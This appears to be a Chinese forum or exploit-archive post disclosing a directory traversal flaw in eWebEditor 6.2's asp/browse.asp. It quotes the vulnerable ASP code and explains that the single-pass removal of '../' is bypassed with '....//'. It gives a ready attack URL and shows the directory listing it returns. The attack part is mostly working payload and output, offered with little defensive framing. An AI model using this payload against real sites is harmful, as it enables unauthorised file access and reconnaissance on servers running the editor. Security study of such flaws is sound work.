eWebEditor 6.2 目录遍历漏洞(asp/browse.asp)
asp/browse.asp部分源码: <br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode2"> <br />Dim s_ReturnFlag, s_FolderType, s_Dir <br />Dim s_CurrDir <br />s_ReturnFlag = Trim(Request.QueryString("returnflag")) <br />s_FolderType = Trim(Request.QueryString("foldertype")) <br />s_Dir = Trim(Request("dir")) <br />Select Case s_FolderType <br />Case "upload" <br />s_CurrDir = sUploadDir <br />Case "shareimage" <br />sAllowExt = "" <br />s_CurrDir = sPathShareImage <br />Case "shareflash" <br />sAllowExt = "" <br />s_CurrDir = sPathShareFlash <br />Case "sharemedia" <br />sAllowExt = "" <br />s_CurrDir = sPathShareMedia <br />Case Else <br />s_FolderType = "shareother" <br />sAllowExt = "" <br />s_CurrDir = sPathShareOther <br />End Select <br />s_Dir = Replace(s_Dir, "\", "/") <br />'下面两行是对目录跳转的处理,漏洞存在于此处 <br />s_Dir = Replace(s_Dir, "../", "") '替换../为空 <br />s_Dir = Replace(s_Dir, "./", "") '替换./为空 <br />If Left(s_Dir,1)="/" Then <br />s_Dir = "" <br />End If <br />Dim s_Dir2 <br />s_Dir2 = Replace(s_Dir, "/", "\") <br />If s_Dir <> "" Then <br />If CheckValidDir(s_CurrDir & s_Dir2) = True Then <br />s_CurrDir = s_CurrDir & s_Dir2 <br />Else <br />s_Dir = "" <br />End If <br />End If <br /></div><br /><br /><br />代码对../和./进行过滤用来防止目录跳转,但可以通过构造参数饶过检测.由于检测替换只进行一次可以使用....//代替上级目录,程序替换后....//变成../ <br /><br />攻击代码示例: <br /><br />http://localhost/asp/browse.asp?action=file&type=file&dir=.....///DiaLog&style=full650&cusdir=&foldertype=upload&returnflag=span_upload <br /><br />跳转到上eWebEditor的DiaLog目录,查看返回页面的源文件: <br /><br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode3"> <br /><HTML><HEAD><meta http-equiv='Content-Type' content='text/html; charset=gb2312'><TITLE>eWebEditor</TITLE></head><body><script language=javascript>var arr = new Array(); <br />arr=new Array("about.htm", "1.85 KB","2009-05-29 16:27:06"); <br />arr=new Array("anchor.htm", "3.68 KB","2009-05-13 16:39:40"); <br />arr=new Array("art.htm", "49.55 KB","2009-05-13 16:39:40"); <br />arr=new Array("backimage.htm", "9.46 KB","2009-05-13 16:39:42"); <br />arr=new Array("browse.htm", "20.74 KB","2009-05-13 16:39:42"); <br />arr=new Array("dialog.js", "6.44 KB","2009-05-13 22:39:08"); <br />arr=new Array("emot.htm", "3.26 KB","2009-05-13 16:39:42"); <br />arr=new Array("EQ.htm", "3.48 KB","2009-05-14 00:02:20"); <br />arr=new Array("eWebEditorActiveX.CAB", "1118.08 KB","2009-05-14 00:18:40"); <br />arr=new Array("eWebEditorActiveXInstall.exe", "1190.72 KB","2009-04-11 23:12:48"); <br />arr=new Array("fieldset.htm", "4.11 KB","2009-05-13 16:39:42"); <br />arr=new Array("file.htm", "5.52 KB","2009-05-13 16:39:42"); <br />arr=new Array("findreplace.htm", "2.82 KB","2009-05-13 16:39:42"); <br />arr=new Array("flash.htm", "14.43 KB","2009-05-13 16:39:42"); <br />arr=new Array("fullscreen.htm", "0.84 KB","2009-05-13 16:39:42"); <br />arr=new Array("hyperlink.htm", "4.43 KB","2009-05-13 16:39:42"); <br />arr=new Array("iFrame.htm", "4.24 KB","2009-05-14 00:31:30"); <br />arr=new Array("img.htm", "13.25 KB","2009-05-13 16:39:42"); <br />arr=new Array("importexcel.htm", "5.87 KB","2009-05-13 16:39:42"); <br />arr=new Array("importword.htm", "8.44 KB","2009-05-13 16:39:42"); <br />arr=new Array("installactivex.htm", "2.02 KB","2009-05-13 16:39:42"); <br />arr=new Array("i_upload.htm", "7.95 KB","2009-05-13 22:41:40"); <br />arr=new Array("map.htm", "4.13 KB","2009-05-13 16:39:42"); <br />arr=new Array("marquee.htm", "2.44 KB","2009-05-13 16:39:42"); <br />arr=new Array("media.htm", "5.07 KB","2009-05-13 16:39:42"); <br />arr=new Array("owcexcel.htm", "2.64 KB","2009-05-13 16:39:42"); <br />arr=new Array("paragraph.htm", "5.95 KB","2009-05-13 16:39:42"); <br />arr=new Array("paste.htm", "4.50 KB","2009-05-13 16:39:42"); <br />arr=new Array("quickformat.htm", "13.58 KB","2009-05-13 16:39:42"); <br />arr=new Array("selcolor.htm", "14.93 KB","2009-05-13 16:39:42"); <br />arr=new Array("symbol.htm", "14.61 KB","2009-05-13 16:39:42"); <br />arr=new Array("table.htm", "11.71 KB","2009-05-13 16:39:42"); <br />arr=new Array("tablecell.htm", "7.98 KB","2009-05-13 16:39:42"); <br />arr=new Array("tablecellsplit.htm", "2.55 KB","2009-05-13 16:39:42"); <br />arr=new Array("template.htm", "4.50 KB","2009-05-13 16:39:42"); <br />arr=new Array("WebEQInstall.cab", "1123.39 KB","2009-05-14 00:16:16"); <br />parent.setFileList('span_upload', 'upload', '../DiaLog', arr);</script></body></html> <br /></div>
頁:
[1]